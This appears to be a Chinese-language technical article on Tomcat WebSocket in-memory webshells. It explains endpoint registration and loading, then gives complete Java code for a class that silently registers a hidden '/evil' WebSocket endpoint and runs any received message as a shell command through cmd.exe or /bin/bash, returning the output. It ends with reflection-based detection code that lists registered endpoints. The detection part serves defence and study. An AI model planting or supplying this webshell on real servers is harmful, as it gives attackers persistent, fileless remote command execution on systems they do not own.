Tomcat WebSocket内存马原理浅析
字数 1649 2025-08-27 12:33:54
Tomcat WebSocket内存马原理与实现详解
一、Tomcat WebSocket基础
1.1 Tomcat WebSocket支持版本
- Tomcat自7.0.2版本开始支持WebSocket,最初采用自定义API(WebSocketServlet)
- 从7.0.47版本开始实现JSR356标准(Java WebSocket规范)
1.2 WebSocket端点(Endpoint)概念
- Endpoint:抽象类,代表WebSocket链接的一端
- ServerEndpoint:服务器端端点
- ClientEndpoint:客户端端点
- 生命周期事件方法:
onOpen:会话开启时调用(对应@OnOpen)onClose:会话关闭时调用(对应@OnClose)onError:链接异常时调用(对应@OnError)onMessage:接收到消息时触发(对应@OnMessage)
二、服务端Endpoint实现方式
2.1 注解方式(@ServerEndpoint)
@ServerEndpoint(
value = "/ws/{userId}",
encoders = {MessageEncoder.class},
decoders = {MessageDecoder.class},
configurator = MyServerConfigurator.class
)
- 必要元素:
value:URI路径
- 可选元素:
configurator:继承ServerEndpointConfig.Configurator的类decoders:自定义消息解码器encoders:自定义消息编码器subprotocols:自定义子协议
2.2 继承抽象类方式(Endpoint)
需实现:
jakarta.websocket.MessageHandler接口jakarta.websocket.server.ServerApplicationConfig接口
配置示例:
ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder
.create(WebSocketServerEndpoint3.class, "/ws/{userId}")
.decoders(decoderList)
.encoders(encoderList)
.configurator(new MyServerConfigurator())
.build();
三、Tomcat WebSocket加载机制
3.1 核心组件
org.apache.tomcat.websocket.server.WsSci:ServletContainerInitializer(SCI)实现类org.apache.tomcat.websocket.server.WsFilter:WebSocket请求过滤器
3.2 加载流程
- Tomcat启动时通过
StandardContext.startInternal()调用WsSci.onStartup() - 扫描classpath下:
- 带有
@ServerEndpoint注解的类 Endpoint子类ServerApplicationConfig实现类
- 带有
- 通过
addEndpoint方法注册到WebSocketContainer
四、WebSocket内存马实现
4.1 实现原理
- 获取当前
StandardContext - 通过
StandardContext获取ServerContainer - 定义恶意类并创建
ServerEndpointConfig - 调用
ServerContainer.addEndpoint方法添加配置
4.2 完整示例代码
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
public class evil extends Endpoint implements MessageHandler.Whole<String> {
static {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServerEndpointConfig build = ServerEndpointConfig.Builder.create(evil.class, "/evil").build();
WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
try {
attribute.addEndpoint(build);
} catch (DeploymentException e) {
throw new RuntimeException(e);
}
}
private Session session;
public void onMessage(String message) {
try {
boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
Process exec;
if (iswin) {
exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
} else {
exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
}
InputStream ips = exec.getInputStream();
StringBuilder sb = new StringBuilder();
int i;
while((i = ips.read()) != -1) {
sb.append((char)i);
}
ips.close();
exec.waitFor();
this.session.getBasicRemote().sendText(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
this.session.addMessageHandler(this);
}
}
五、WebSocket内存马检测
5.1 检测方法
- 获取
ServerContainer实例 - 反射获取
configExactMatchMap属性 - 遍历检查所有注册的Endpoint配置
5.2 检测代码示例
public synchronized List<ServerEndpointConfig> getEndpointConfigs(HttpServletRequest request) throws Exception {
ServerContainer sc = (ServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());
Field _configExactMatchMap = sc.getClass().getDeclaredField("configExactMatchMap");
_configExactMatchMap.setAccessible(true);
ConcurrentHashMap configExactMatchMap = (ConcurrentHashMap) _configExactMatchMap.get(sc);
Class _ExactPathMatch = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer$ExactPathMatch");
Method _getconfig = _ExactPathMatch.getDeclaredMethod("getConfig");
_getconfig.setAccessible(true);
List<ServerEndpointConfig> configs = new ArrayList<>();
Iterator<Map.Entry<String, Object>> iterator = configExactMatchMap.entrySet().iterator();
while (iterator.hasNext()) {
Map.Entry<String, Object> entry = iterator.next();
ServerEndpointConfig config = (ServerEndpointConfig)_getconfig.invoke(entry.getValue());
configs.add(config);
}
return configs;
}
检查项:
cfg.getPath():获取Endpoint路径cfg.getEndpointClass().getName():获取Endpoint类名cfg.getEndpointClass().getClassLoader().getClass().getName():获取类加载器- 检查类文件是否存在